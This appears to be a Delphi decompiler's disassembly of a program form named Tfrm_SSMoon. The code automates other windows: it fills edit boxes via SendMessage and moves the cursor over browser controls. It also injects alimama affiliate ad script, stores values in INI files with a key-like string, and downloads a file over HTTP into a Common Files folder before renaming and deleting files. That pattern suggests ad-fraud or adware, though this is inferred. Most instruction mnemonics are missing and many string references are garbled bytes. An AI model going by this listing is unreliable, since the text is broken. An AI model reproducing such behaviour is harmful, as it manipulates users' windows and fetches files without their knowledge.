eax, dword ptr [$004CDD54]
8B808C030000
eax, [eax+$038C]
ecx, [eax]
dword ptr [ecx+$38]
fs:[eax], edx
fs:[eax], edx
E96F92F4FF
E87896F4FF
****** END
fs:[eax], edx
****** FINALLY
* Possible String Reference to: '嬅_^[嬪]肬嬱伳佝??SVW3缐呚??墔荥??
墔帼??墔濑??墔棹??墔忐??塃鼔E鴫E??
68F7B74B00
eax, [ebp-$28]
E83E9DF4FF
eax, [ebp-$14]
E81AA5F4FF
eax, [ebp-$10]
E8299DF4FF
E9E794F4FF
****** END
procedure Tfrm_SSMoon._PROC_004BB800(Sender : TObject);
81C4D8FEFFFF
esp, $FFFFFED8
8985D8FEFFFF
[ebp+$FFFFFED8], eax
8985DCFEFFFF
[ebp+$FFFFFEDC], eax
8985E0FEFFFF
[ebp+$FFFFFEE0], eax
8985E4FEFFFF
[ebp+$FFFFFEE4], eax
8985E8FEFFFF
[ebp+$FFFFFEE8], eax
8985ECFEFFFF
[ebp+$FFFFFEEC], eax
[ebp-$04], eax
[ebp-$08], eax
[ebp-$0C], eax
dword ptr fs:[eax]
fs:[eax], esp
C745F0FFFFFFFF
dword ptr [ebp-$10], $FFFFFFFF
8D85F0FEFFFF
eax, [ebp+$FFFFFEF0]
eax, [ebp+$08]
* Reference to: user32.GetClassNameA()
E8A3C9F4FF
eax, [ebp-$04]
8D95F0FEFFFF
edx, [ebp+$FFFFFEF0]
E8EC9EF4FF
eax, [ebp-$04]
* Possible String Reference to: 'Edit'
BAB0BC4B00
edx, $004BBCB0
E897A0F4FF
0F85B3030000
eax, [ebp-$08]
E8619CF4FF
8D85F0FEFFFF
eax, [ebp+$FFFFFEF0]
eax, [ebp+$08]
* Reference to: user32.SendMessageA()
E846CCF4FF
eax, [ebp-$08]
8D95F0FEFFFF
edx, [ebp+$FFFFFEF0]
E8A79EF4FF
dword ptr [ebp-$08], +$00
0F84A0030000
edx, [ebp-$08]
* Possible String Reference to: ''
B8C0BC4B00
eax, $004BBCC0
E8FCA1F4FF
0F8F8B030000
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
eax, [eax+$18]
edx, [eax]
dword ptr [edx+$14]
ecx, [ebp-$0C]
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
eax, [eax+$18]
edi, [eax]
dword ptr [edi+$0C]
edx, [ebp-$08]
eax, [ebp-$0C]
E8B0A1F4FF
0FB605CCBC4B00
eax, byte ptr [$004BBCCC]
8D85ECFEFFFF
eax, [ebp+$FFFFFEEC]
* Possible String Reference to: ''
B9C0BC4B00
ecx, $004BBCC0
edx, [ebp-$0C]
eax, [ebp-$08]
E86D3FF5FF
8B95ECFEFFFF
edx, [ebp+$FFFFFEEC]
eax, [ebp-$08]
E83B9CF4FF
eax, [ebp+$08]
* Reference to: user32.SendMessageA()
E890CBF4FF
eax, [ebp-$08]
eax, [ebp+$08]
* Reference to: user32.SendMessageA()
E87FCBF4FF
[ebp-$10], eax
E9EC020000
0F857AFFFFFF
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
eax, [eax+$20]
edx, [eax]
dword ptr [edx+$14]
ecx, [ebp-$0C]
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
eax, [eax+$20]
edi, [eax]
dword ptr [edi+$0C]
edx, [ebp-$08]
eax, [ebp-$0C]
E809A1F4FF
0FB605CCBC4B00
eax, byte ptr [$004BBCCC]
8D85E8FEFFFF
eax, [ebp+$FFFFFEE8]
* Possible String Reference to: ''
B9C0BC4B00
ecx, $004BBCC0
edx, [ebp-$0C]
eax, [ebp-$08]
E8C63EF5FF
8B95E8FEFFFF
edx, [ebp+$FFFFFEE8]
eax, [ebp-$08]
E8949BF4FF
eax, [ebp+$08]
* Reference to: user32.SendMessageA()
E8E9CAF4FF
edx, [ebp-$08]
eax, [eax]
eax, [ebp+$08]
* Reference to: user32.SendMessageA()
E8CECAF4FF
[ebp-$10], eax
E93B020000
0F8570FFFFFF
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
eax, [eax+$1C]
edx, [eax]
dword ptr [edx+$14]
ecx, [ebp-$0C]
A154DD4C00
eax, dword ptr [$004CDD54]
eax, [eax+$0388]
eax, [eax+$1C]
edi, [eax]
dword ptr [edi+$0C]
edx, [ebp-$08]
eax, [ebp-$0C]
E858A0F4FF
0FB605CCBC4B00
eax, byte ptr [$004BBCCC]
8D85E4FEFFFF
eax, [ebp+$FFFFFEE4]
* Possible String Reference to: ''
B9C0BC4B00
ecx, $004BBCC0
edx, [ebp-$0C]
eax, [ebp-$08]
E8153EF5FF
8B95E4FEFFFF
edx, [ebp+$FFFFFEE4]
eax, [ebp-$08]
E8E39AF4FF
eax, [ebp+$08]
* Reference to: user32.SendMessageA()
E838CAF4FF
edx, [ebp-$08]
eax, [eax]
eax, [ebp+$08]
* Reference to: user32.SendMessageA()
E81DCAF4FF
[ebp-$10], eax
E98A010000
0F8570FFFFFF
edx, [ebp-$08]
* Possible String Reference to: ''
B8D8BC4B00
eax, $004BBCD8
E8DE9FF4FF
0FB605CCBC4B00
eax, byte ptr [$004BBCCC]
8D85E0FEFFFF
eax, [ebp+$FFFFFEE0]
* Possible String Reference to: ''
BAD8BC4B00
edx, $004BBCD8
* Possible String Reference to: ''
B9C0BC4B00
ecx, $004BBCC0
eax, [ebp-$08]
E8993DF5FF
8B95E0FEFFFF
edx, [ebp+$FFFFFEE0]
eax, [ebp-$08]
E8679AF4FF
eax, [ebp+$08]
* Reference to: user32.SendMessageA()
E8BCC9F4FF
edx, [ebp-$08]
eax, [eax]
eax, [ebp+$08]
* Reference to: user32.SendMessageA()
E8A1C9F4FF
[ebp-$10], eax
E90E010000
* Possible String Reference to: ''
B8D8BC4B00
eax, $004BBCD8
edx, [ebp-$08]
E86A9FF4FF
0FB605CCBC4B00
eax, byte ptr [$004BBCCC]
8D85DCFEFFFF
eax, [ebp+$FFFFFEDC]
* Possible String Reference to: ''
B9C0BC4B00
ecx, $004BBCC0
* Possible String Reference to: ''
BAD8BC4B00
edx, $004BBCD8
eax, [ebp-$08]
E8253DF5FF
8B95DCFEFFFF
edx, [ebp+$FFFFFEDC]
eax, [ebp-$08]
E8F399F4FF
eax, [ebp+$08]
* Reference to: user32.SendMessageA()
E848C9F4FF
edx, [ebp-$08]
eax, [eax]
eax, [ebp+$08]
* Reference to: user32.SendMessageA()
E82DC9F4FF
[ebp-$10], eax
E99A000000
* Possible String Reference to: ''
B8D8BC4B00
eax, $004BBCD8
edx, [ebp-$08]
E8F69EF4FF
0FB605CCBC4B00
eax, byte ptr [$004BBCCC]
8D85D8FEFFFF
eax, [ebp+$FFFFFED8]
* Possible String Reference to: ''
B9C0BC4B00
ecx, $004BBCC0
* Possible String Reference to: ''
BAD8BC4B00
edx, $004BBCD8
eax, [ebp-$08]
E8B13CF5FF
8B95D8FEFFFF
edx, [ebp+$FFFFFED8]
eax, [ebp-$08]
E87F99F4FF
eax, [ebp+$08]
* Reference to: user32.SendMessageA()
E8D4C8F4FF
edx, [ebp-$08]
eax, [eax]
eax, [ebp+$08]
* Reference to: user32.SendMessageA()
E8B9C8F4FF
[ebp-$10], eax
eax, [ebp-$04]
* Possible String Reference to: 'Internet Explorer_Server'
BAECBC4B00
edx, $004BBCEC
E8D19CF4FF
eax, [ebp+$08]
* Reference to: user32.IsWindowVisible()
E8AAC7F4FF
[ebp-$10], eax
eax, [ebp+$08]
E83DF9FFFF
fs:[eax], edx
****** FINALLY
8D85D8FEFFFF
eax, [ebp+$FFFFFED8]
E89498F4FF
eax, [ebp-$0C]
E88798F4FF
E94590F4FF
****** END
eax, [ebp-$10]
procedure Tfrm_SSMoon._PROC_004BBD09(Sender : TObject);
eax, dword ptr [$004C6758]
byte ptr [eax], $01
* Possible String Reference to: '閅岕?鑔愻??gL'
68CABD4B00
dword ptr fs:[ecx]
fs:[ecx], esp
eax, dword ptr [$004C6300]
dword ptr [eax], +$01
eax, [ebp-$08]
* Reference to: user32.GetCursorPos()
E8EEC4F4FF
eax, [ebp-$20]
* Reference to: user32.GetForegroundWindow()
E815C5F4FF
* Reference to: user32.GetWindowRect()
E81FC6F4FF
edx, [ebp-$18]
eax, [ebp-$20]
[ebp-$10], edx
edx, [ebp-$14]
eax, [ebp-$1C]
[ebp-$0C], edx
eax, [ebp-$10]
* Reference to: user32.SetCursorPos()
E8BDC7F4FF
dword ptr [ebp-$0C]
dword ptr [ebp-$10]
* Reference to: user32.WindowFromPoint()
E8AAC8F4FF
eax, [ebp-$04]
eax, [ebp-$08]
* Reference to: user32.SetCursorPos()
E8A3C7F4FF
E804F8FFFF
eax, dword ptr [$004C6300]
dword ptr [eax], +$00
* Possible String Reference to: 'U嬱伳佝??SVW3缐呚??墔荥??墔帼??墔?
??墔棹??墔忐??塃鼔E鴫E?繳h捈K'
eax, dword ptr [$004C6260]
eax, [eax]
* Reference to: user32.EnumChildWindows()
E8D8C3F4FF
fs:[eax], edx
E9598CF4FF
E86490F4FF
****** END
eax, dword ptr [$004C6758]
byte ptr [eax], $00
procedure Tfrm_SSMoon._PROC_004BBDE4(Sender : TObject);
A12C664C00
eax, dword ptr [$004C662C]
eax, [eax]
E8ACA6FAFF
B954DD4C00
ecx, $004CDD54
A12C664C00
eax, dword ptr [$004C662C]
eax, [eax]
* Reference to class Tfrm_SSMoon
8B15B0A44B00
edx, [$004BA4B0]
E8ADA6FAFF
A154DD4C00
eax, dword ptr [$004CDD54]
* Reference to : TGlassFrame._PROC_004627DC()
E8CB69FAFF
A12C664C00
eax, dword ptr [$004C662C]
eax, [eax]
E8CFA7FAFF
procedure Tfrm_SSMoon._PROC_004BC071(Sender : TObject);
B92A000000
ecx, $0000002A
* Possible String Reference to: '镺圁?豚_^[嬪]?
dword ptr fs:[eax]
fs:[eax], esp
8D85F4FEFFFF
eax, [ebp+$FFFFFEF4]
* Reference to : TWebBrowser._PROC_00470A04()
E86649FBFF
8B85F4FEFFFF
eax, [ebp+$FFFFFEF4]
8D95F8FEFFFF
edx, [ebp+$FFFFFEF8]
E881E8F4FF
8B85F8FEFFFF
eax, [ebp+$FFFFFEF8]
edx, [ebp-$04]
E8534BFBFF
A1E4664C00
eax, dword ptr [$004C66E4]
E82D94F4FF
8D85FCFEFFFF
eax, [ebp+$FFFFFEFC]
E85F79F4FF
eax, [ebp-$04]
E8A398F4FF
8D85FCFEFFFF
eax, [ebp+$FFFFFEFC]
* Possible String Reference to: 'CD1'
689CC54B00
* Possible String Reference to: 'DBI'
68A0C54B00
* Reference to: kernel32.GetPrivateProfileStringA()
E88CBBF4FF
8D95F0FEFFFF
edx, [ebp+$FFFFFEF0]
8D85FCFEFFFF
eax, [ebp+$FFFFFEFC]
E83BECF4FF
8B95F0FEFFFF
edx, [ebp+$FFFFFEF0]
A1E4664C00
eax, dword ptr [$004C66E4]
E82394F4FF
A1E4664C00
eax, dword ptr [$004C66E4]
dword ptr [eax], +$00
* Reference to field Tfrm_SSMoon.OFFS_0388
eax, [ebx+$0388]
eax, [eax+$20]
edx, [eax]
dword ptr [edx+$14]
E8C272F4FF
8D8DECFEFFFF
ecx, [ebp+$FFFFFEEC]
* Reference to field Tfrm_SSMoon.OFFS_0388
eax, [ebx+$0388]
eax, [eax+$20]
edi, [eax]
dword ptr [edi+$0C]
8B95ECFEFFFF
edx, [ebp+$FFFFFEEC]
A1E4664C00
eax, dword ptr [$004C66E4]
E8E093F4FF
8D8DE8FEFFFF
ecx, [ebp+$FFFFFEE8]
A1E4664C00
eax, dword ptr [$004C66E4]
eax, [eax]
* Possible String Reference to: 'B85609AEF9C6'
BAACC54B00
edx, $004BC5AC
E8DC57FBFF
8B85E8FEFFFF
eax, [ebp+$FFFFFEE8]
E8F997F4FF
* Possible String Reference to: 'CD1'
689CC54B00
* Possible String Reference to: 'DBI'
68A0C54B00
* Reference to: kernel32.WritePrivateProfileStringA()
E865BCF4FF
E9B0000000
8D8DE4FEFFFF
ecx, [ebp+$FFFFFEE4]
A1E4664C00
eax, dword ptr [$004C66E4]
eax, [eax]
* Possible String Reference to: 'B85609AEF9C6'
BAACC54B00
edx, $004BC5AC
E88759FBFF
8B95E4FEFFFF
edx, [ebp+$FFFFFEE4]
A1E4664C00
eax, dword ptr [$004C66E4]
E87F93F4FF
8B15E4664C00
edx, [$004C66E4]
edx, [edx]
* Reference to field Tfrm_SSMoon.OFFS_0388
eax, [ebx+$0388]
eax, [eax+$20]
ecx, [eax]
dword ptr [ecx+$54]
* Reference to field Tfrm_SSMoon.OFFS_0388
eax, [ebx+$0388]
eax, [eax+$20]
edx, [eax]
dword ptr [edx+$14]
E80F72F4FF
8D8DE0FEFFFF
ecx, [ebp+$FFFFFEE0]
* Reference to field Tfrm_SSMoon.OFFS_0388
eax, [ebx+$0388]
eax, [eax+$20]
edi, [eax]
dword ptr [edi+$0C]
8B95E0FEFFFF
edx, [ebp+$FFFFFEE0]
A1E4664C00
eax, dword ptr [$004C66E4]
E82D93F4FF
8D8DDCFEFFFF
ecx, [ebp+$FFFFFEDC]
A1E4664C00
eax, dword ptr [$004C66E4]
eax, [eax]
* Possible String Reference to: 'B85609AEF9C6'
BAACC54B00
edx, $004BC5AC
E82757FBFF
8B85DCFEFFFF
eax, [ebp+$FFFFFEDC]
E84497F4FF
* Possible String Reference to: 'CD1'
689CC54B00
* Possible String Reference to: 'DBI'
68A0C54B00
* Reference to: kernel32.WritePrivateProfileStringA()
E8B0BBF4FF
eax, dword ptr [$004C6410]
E89A92F4FF
8D85FCFEFFFF
eax, [ebp+$FFFFFEFC]
E8CC77F4FF
8D85FCFEFFFF
eax, [ebp+$FFFFFEFC]
* Possible String Reference to: 'CD2'
68BCC54B00
* Possible String Reference to: 'DBI'
68A0C54B00
* Reference to: kernel32.GetPrivateProfileStringA()
E803BAF4FF
8D95D8FEFFFF
edx, [ebp+$FFFFFED8]
8D85FCFEFFFF
eax, [ebp+$FFFFFEFC]
E8B2EAF4FF
8B95D8FEFFFF
edx, [ebp+$FFFFFED8]
eax, dword ptr [$004C6410]
E89A92F4FF
eax, dword ptr [$004C6410]
dword ptr [eax], +$00
* Reference to field Tfrm_SSMoon.OFFS_0388
eax, [ebx+$0388]
eax, [eax+$18]
edx, [eax]
dword ptr [edx+$14]
E83971F4FF
8D8DD4FEFFFF
ecx, [ebp+$FFFFFED4]
* Reference to field Tfrm_SSMoon.OFFS_0388
eax, [ebx+$0388]
eax, [eax+$18]
edi, [eax]
dword ptr [edi+$0C]
8B95D4FEFFFF
edx, [ebp+$FFFFFED4]
eax, dword ptr [$004C6410]
E85792F4FF
8D8DD0FEFFFF
ecx, [ebp+$FFFFFED0]
eax, dword ptr [$004C6410]
eax, [eax]
* Possible String Reference to: 'B85609AEF9C6'
BAACC54B00
edx, $004BC5AC
E85156FBFF
8B85D0FEFFFF
eax, [ebp+$FFFFFED0]
E86E96F4FF
* Possible String Reference to: 'CD2'
68BCC54B00
* Possible String Reference to: 'DBI'
68A0C54B00
* Reference to: kernel32.WritePrivateProfileStringA()
E8DABAF4FF
E9B0000000
8D8DCCFEFFFF
ecx, [ebp+$FFFFFECC]
eax, dword ptr [$004C6410]
eax, [eax]
* Possible String Reference to: 'B85609AEF9C6'
BAACC54B00
edx, $004BC5AC
E8FC57FBFF
8B95CCFEFFFF
edx, [ebp+$FFFFFECC]
eax, dword ptr [$004C6410]
E8F491F4FF
edx, [$004C6410]
edx, [edx]
* Reference to field Tfrm_SSMoon.OFFS_0388
eax, [ebx+$0388]
eax, [eax+$18]
ecx, [eax]
dword ptr [ecx+$54]
* Reference to field Tfrm_SSMoon.OFFS_0388
eax, [ebx+$0388]
eax, [eax+$18]
edx, [eax]
dword ptr [edx+$14]
E88470F4FF
8D8DC8FEFFFF
ecx, [ebp+$FFFFFEC8]
* Reference to field Tfrm_SSMoon.OFFS_0388
eax, [ebx+$0388]
eax, [eax+$18]
edi, [eax]
dword ptr [edi+$0C]
8B95C8FEFFFF
edx, [ebp+$FFFFFEC8]
eax, dword ptr [$004C6410]
E8A291F4FF
8D8DC4FEFFFF
ecx, [ebp+$FFFFFEC4]
eax, dword ptr [$004C6410]
eax, [eax]
* Possible String Reference to: 'B85609AEF9C6'
BAACC54B00
edx, $004BC5AC
E89C55FBFF
8B85C4FEFFFF
eax, [ebp+$FFFFFEC4]
E8B995F4FF
* Possible String Reference to: 'CD2'
68BCC54B00
* Possible String Reference to: 'DBI'
68A0C54B00
* Reference to: kernel32.WritePrivateProfileStringA()
E825BAF4FF
eax, dword ptr [$004C6638]
E80F91F4FF
8D85FCFEFFFF
eax, [ebp+$FFFFFEFC]
E84176F4FF
8D85FCFEFFFF
eax, [ebp+$FFFFFEFC]
* Possible String Reference to: 'CD3'
68C0C54B00
* Possible String Reference to: 'DBI'
68A0C54B00
* Reference to: kernel32.GetPrivateProfileStringA()
E878B8F4FF
8D95C0FEFFFF
edx, [ebp+$FFFFFEC0]
8D85FCFEFFFF
eax, [ebp+$FFFFFEFC]
E827E9F4FF
8B95C0FEFFFF
edx, [ebp+$FFFFFEC0]
eax, dword ptr [$004C6638]
E80F91F4FF
eax, dword ptr [$004C6638]
dword ptr [eax], +$00
* Reference to field Tfrm_SSMoon.OFFS_0388
eax, [ebx+$0388]
eax, [eax+$1C]
edx, [eax]
dword ptr [edx+$14]
E8AE6FF4FF
8D8DBCFEFFFF
ecx, [ebp+$FFFFFEBC]
* Reference to field Tfrm_SSMoon.OFFS_0388
eax, [ebx+$0388]
eax, [eax+$1C]
ebx, [eax]
dword ptr [ebx+$0C]
8B95BCFEFFFF
edx, [ebp+$FFFFFEBC]
eax, dword ptr [$004C6638]
E8CC90F4FF
8D8DB8FEFFFF
ecx, [ebp+$FFFFFEB8]
eax, dword ptr [$004C6638]
eax, [eax]
* Possible String Reference to: 'B85609AEF9C6'
BAACC54B00
edx, $004BC5AC
E8C854FBFF
8B85B8FEFFFF
eax, [ebp+$FFFFFEB8]
E8E594F4FF
* Possible String Reference to: 'CD3'
68C0C54B00
* Possible String Reference to: 'DBI'
68A0C54B00
* Reference to: kernel32.WritePrivateProfileStringA()
E851B9F4FF
E9AE000000
8D8DB4FEFFFF
ecx, [ebp+$FFFFFEB4]
eax, dword ptr [$004C6638]
eax, [eax]
* Possible String Reference to: 'B85609AEF9C6'
BAACC54B00
edx, $004BC5AC
E87356FBFF
8B95B4FEFFFF
edx, [ebp+$FFFFFEB4]
eax, dword ptr [$004C6638]
E86B90F4FF
edx, [$004C6638]
edx, [edx]
eax, [ebx+$0388]
eax, [eax+$1C]
ecx, [eax]
dword ptr [ecx+$54]
eax, [ebx+$0388]
eax, [eax+$1C]
edx, [eax]
dword ptr [edx+$14]
E8FB6EF4FF
8D8DB0FEFFFF
ecx, [ebp+$FFFFFEB0]
eax, [ebx+$0388]
eax, [eax+$1C]
ebx, [eax]
dword ptr [ebx+$0C]
8B95B0FEFFFF
edx, [ebp+$FFFFFEB0]
eax, dword ptr [$004C6638]
E81990F4FF
8D8DACFEFFFF
ecx, [ebp+$FFFFFEAC]
eax, dword ptr [$004C6638]
eax, [eax]
* Possible String Reference to: 'B85609AEF9C6'
BAACC54B00
edx, $004BC5AC
E81554FBFF
8B85ACFEFFFF
eax, [ebp+$FFFFFEAC]
E83294F4FF
* Possible String Reference to: 'CD3'
68C0C54B00
* Possible String Reference to: 'DBI'
68A0C54B00
* Reference to: kernel32.WritePrivateProfileStringA()
E89EB8F4FF
fs:[eax], edx
****** FINALLY
* Possible String Reference to: '_^[嬪]?
688FC54B00
8D85ACFEFFFF
eax, [ebp+$FFFFFEAC]
E8998FF4FF
eax, [ebp-$04]
E86D8FF4FF
E94F87F4FF
****** END
procedure Tfrm_SSMoon._PROC_004BC5C5(Sender : TObject);
* Possible String Reference to: '閽嗶?脬[嬪]?
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp-$04]
* Possible String Reference to: 'about:blank'
BA5CC64B00
edx, $004BC65C
E8A18FF4FF
eax, [ebp-$08]
edx, [ebp-$04]
E86698F4FF
edx, [ebp-$08]
* Reference to control Tfrm_SSMoon.Webb : TWebBrowser
eax, [ebx+$0370]
* Reference to : TWebBrowser._PROC_()
E8603EFBFF
eax, [ebp-$0C]
8B15D8644C00
edx, [$004C64D8]
edx, [edx]
E84898F4FF
edx, [ebp-$0C]
* Reference to control Tfrm_SSMoon.webb2 : TWebBrowser
eax, [ebx+$0374]
* Reference to : TWebBrowser._PROC_()
E8423EFBFF
fs:[eax], edx
****** FINALLY
* Possible String Reference to: '[嬪]?
684CC64B00
eax, [ebp-$0C]
E8D896F4FF
eax, [ebp-$04]
E8B08EF4FF
E99286F4FF
****** END
procedure Tfrm_SSMoon._PROC_004BC843(Sender : TObject);
[$CB332C44], ah
byte ptr es:[ecx], 1
dword ptr [ecx]
[edi], esp
procedure Tfrm_SSMoon._PROC_004BC859(Sender : TObject);
byte ptr es:[ecx], 1
dword ptr [ecx]
dword ptr [esi]
procedure Tfrm_SSMoon._PROC_004BCA70(Sender : TObject);
81C42CFEFFFF
esp, $FFFFFE2C
[ebp-$04], edx
* Possible String Reference to: '榈EUR?腽[嬪]?
dword ptr fs:[eax]
fs:[eax], esp
A1D8644C00
eax, dword ptr [$004C64D8]
eax, [eax]
E8B3DCF4FF
8B1DD8644C00
ebx, [$004C64D8]
ebx, [ebx]
899D2CFEFFFF
[ebp+$FFFFFE2C], ebx
8B852CFEFFFF
eax, [ebp+$FFFFFE2C]
E8CE8EF4FF
* Reference to: kernel32.DeleteFileA()
E8D4B0F4FF
8B15D8644C00
edx, [$004C64D8]
edx, [edx]
8D8530FEFFFF
eax, [ebp+$FFFFFE30]
E8BF6CF4FF
8D8530FEFFFF
eax, [ebp+$FFFFFE30]
E8446AF4FF
E80766F4FF
* Possible String Reference to: '&html&&body&&script type='text/java
script'&alimama_pid='mm_'
A1E4664C00
eax, dword ptr [$004C66E4]
dword ptr [eax]
* Possible String Reference to: '_0_0';'
689CCC4B00
* Possible String Reference to: 'alimama_type='g';'
68A8CC4B00
689CCC4B00
* Possible String Reference to: 'alimama_tks={};'
68C4CC4B00
689CCC4B00
* Possible String Reference to: 'alimama_tks.style_i=1;'
68DCCC4B00
689CCC4B00
* Possible String Reference to: 'alimama_tks.lg_i=1;'
68FCCC4B00
689CCC4B00
* Possible String Reference to: 'alimama_tks.w_i=572;'
689CCC4B00
* Possible String Reference to: 'alimama_tks.h_i=45;'
689CCC4B00
* Possible String Reference to: 'alimama_tks.btn_i=1;'
689CCC4B00
* Possible String Reference to: 'alimama_tks.txt_s='';'
689CCC4B00
* Possible String Reference to: 'alimama_tks.hot_i=0;'
689CCC4B00
* Possible String Reference to: 'alimama_tks.hc_c='#999999';'
68B4CD4B00
689CCC4B00
* Possible String Reference to: 'alimama_tks.c_i=1;'
68D8CD4B00
689CCC4B00
* Possible String Reference to: 'alimama_tks.cid_i=0;'
68F4CD4B00
689CCC4B00
* Possible String Reference to: '&/script&'
689CCC4B00
* Possible String Reference to: '&script type='text/javascript' src=
'http://a.alimama.cn/inf.js'&&/scri
689CCC4B00
* Possible String Reference to: '&/body&&/html&'
687CCE4B00
eax, [ebp-$04]
E8A48CF4FF
edx, [ebp-$04]
8D8530FEFFFF
eax, [ebp+$FFFFFE30]
E8B290F4FF
E89572F4FF
E8F064F4FF
8D8530FEFFFF
eax, [ebp+$FFFFFE30]
E8556CF4FF
E8E064F4FF
fs:[eax], edx
****** FINALLY
* Possible String Reference to: '[嬪]?
eax, [ebp-$04]
E8D388F4FF
E9B580F4FF
****** END
procedure Tfrm_SSMoon._PROC_004BCE8D(Sender : TObject);
* Reference to class TMemoryStream
A1ACAD4100
eax, dword ptr [$0041ADAC]
E87576F4FF
[ebp-$04], eax
68F2CE4B00
dword ptr fs:[eax]
fs:[eax], esp
E85927F6FF
edx, [eax]
dword ptr [edx]
eax, [ebp-$04]
E8C329F6FF
eax, [ebp-$04]
E89B55FFFF
eax, [ebp-$04]
E82C2EF6FF
fs:[eax], edx
E9317BF4FF
E83A7FF4FF
****** END
eax, [ebp-$04]
E84276F4FF
procedure Tfrm_SSMoon._PROC_004BCF10(Sender : TObject);
[ebp-$04], edx
eax, [ebp-$04]
E8448AF4FF
* Possible String Reference to: '閺{?肷嬅_^[嬪]????'
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp-$0C]
edx, [ebp-$18]
E82E64F4FF
eax, [ebp-$18]
edx, [ebp-$14]
E8D7D9F4FF
eax, [ebp-$14]
E8818AF4FF
eax, dword ptr [$004C6268]
byte ptr [eax], $06
eax, dword ptr [$004C6268]
byte ptr [eax], $07
eax, [ebp-$20]
* Reference to : TWebBrowser._PROC_00470A04()
E87D3AFBFF
eax, [ebp-$20]
edx, [ebp-$1C]
E89ED9F4FF
edx, [ebp-$1C]
eax, [ebp-$08]
* Possible String Reference to: 'tmp333.tmp'
B960D14B00
ecx, $004BD160
E86A88F4FF
dword ptr [ebp-$0C]
* Possible String Reference to: 'Program Files\Common Files\System\O
* Possible String Reference to: 'tmp333.tmp'
eax, [ebp-$08]
E8CA88F4FF
68FFFF0000
ecx, [ebp-$08]
* Reference to class TFileStream
A1A8AC4100
eax, dword ptr [$0041ACA8]
E8DA2AF6FF
[ebp-$10], eax
68FECF4B00
dword ptr fs:[eax]
fs:[eax], esp
* Reference to control Tfrm_SSMoon.IdHTTP : TIdHTTP
8B866C030000
eax, [esi+$036C]
ecx, [ebp-$10]
edx, [ebp-$04]
E8A082FDFF
fs:[eax], edx
E9257AF4FF
eax, [ebp-$10]
E83D75F4FF
eax, [ebp-$08]
E87189F4FF
* Reference to: kernel32.DeleteFileA()
E877ABF4FF
E8187EF4FF
E9E6000000
E80E7EF4FF
****** END
esi, [$004C6248]
esi, [esi]
edx, [$004C6248]
edx, [edx]
eax, [ebp-$24]
* Possible String Reference to: '111'
B9A8D14B00
ecx, $004BD1A8
E8C587F4FF
edi, [ebp-$24]
[ebp-$28], edi
eax, [ebp-$28]
E82F89F4FF
[ebp-$2C], esi
eax, [ebp-$2C]
E82389F4FF
* Reference to: kernel32.MoveFileA()
E8F1ACF4FF
edx, [$004C6248]
edx, [edx]
eax, [ebp-$10]
E80FFEFFFF
edx, [$004C6248]
edx, [edx]
eax, [ebp-$30]
* Possible String Reference to: '111'
B9A8D14B00
ecx, $004BD1A8
E87687F4FF
esi, [ebp-$30]
[ebp-$28], esi
eax, [ebp-$28]
E8E088F4FF
* Reference to: kernel32.DeleteFileA()
E8E6AAF4FF
edx, [$004C6248]
edx, [edx]
eax, [ebp-$34]
* Possible String Reference to: '111'
B9A8D14B00
ecx, $004BD1A8
E84587F4FF
esi, [ebp-$34]
8B3D48624C00
edi, [$004C6248]
edi, [edi]
[ebp-$28], edi
eax, [ebp-$28]
E8A788F4FF
[ebp-$2C], esi
eax, [ebp-$2C]
E89B88F4FF
* Reference to: kernel32.MoveFileA()
E869ACF4FF
eax, [ebp-$10]
E84B74F4FF
eax, [ebp-$08]
E87F88F4FF
* Reference to: kernel32.DeleteFileA()
E885AAF4FF
fs:[eax], edx
****** FINALLY
* Possible String Reference to: '嬅_^[嬪]????'
684FD14B00
eax, [ebp-$34]
E8F383F4FF
eax, [ebp-$24]
E8C783F4FF
eax, [ebp-$20]
E8DE83F4FF
eax, [ebp-$0C]
E8D183F4FF
E98F7BF4FF
****** END
procedure Tfrm_SSMoon._PROC_004BD43C(Sender : TObject);
* Possible String Reference to: '镸w?脬_^[嬪]胐Bat1'
688AD54B00
dword ptr fs:[eax]
fs:[eax], esp
* Reference to field Tfrm_SSMoon.OFFS_0394
eax, [ebx+$0394]
E88169F6FF
* Reference to field Tfrm_SSMoon.OFFS_0394
[ebx+$0394], eax
BAE0930400
* Reference to control Tfrm_SSMoon.ti_ZipMemory : TTimer
eax, [ebx+$0360]
* Reference to : TPanel._PROC_00437CDC()
E85DA8F7FF
* Reference to control Tfrm_SSMoon.ti_ZipMemory : TTimer
eax, [ebx+$0360]
* Reference to : TPanel._PROC_00437CCC()
E840A8F7FF
E831F1FFFF
eax, [ebp-$0C]
* Reference to : TWebBrowser._PROC_00470A04()
E86935FBFF
eax, [ebp-$0C]
edx, [ebp-$08]
E88AD4F4FF
eax, [ebp-$08]
edx, [ebp-$04]
E85F37FBFF
eax, [ebp-$04]
E8CB84F4FF
* Possible String Reference to: 'dBat1'
* Possible String Reference to: 'DRV'
68A0D54B00
* Reference to: kernel32.GetPrivateProfileIntA()
E8BBA7F4FF
E867F1F4FF
E8A25FF4FF
dword ptr [esp], eax
[esp+$04], edx
* Reference to field Tfrm_SSMoon.OFFS_0388
eax, [ebx+$0388]
edx, [eax+$24]
* Reference to : Tfrm_SSMoon._PROC_004BCF10()
E800FAFFFF
E826F1F4FF
E8615FF4FF
eax, [ebp-$10]
E8CFCDF4FF
eax, [ebp-$10]
E85384F4FF
* Possible String Reference to: 'dBat1'
* Possible String Reference to: 'DRV'
68A0D54B00
* Reference to: kernel32.WritePrivateProfileStringA()
E8BFA8F4FF
E85824F9FF
* Reference to class TTaskThread
A118D64B00
eax, dword ptr [$004BD618]
edx, [$004C6484]
[edx], eax
* Reference to : Tfrm_SSMoon.ti_ZipMemoryTimer()
E855FCFFFF
fs:[eax], edx
****** FINALLY
* Possible String Reference to: '_^[嬪]胐Bat1'
eax, [ebp-$10]
E8977FF4FF
eax, [ebp-$04]
E86B7FF4FF
E94D77F4FF
****** END
procedure Tfrm_SSMoon._PROC_004BD598(Sender : TObject);
[edx+edx*2+$56], al
* Possible String Reference to: '槿v?滕]胐諯'
680FD64B00
dword ptr fs:[eax]
fs:[eax], esp
dword ptr [$004CDD70]
B85CDD4C00
eax, $004CDD5C
E86D9CF4FF
B860DD4C00
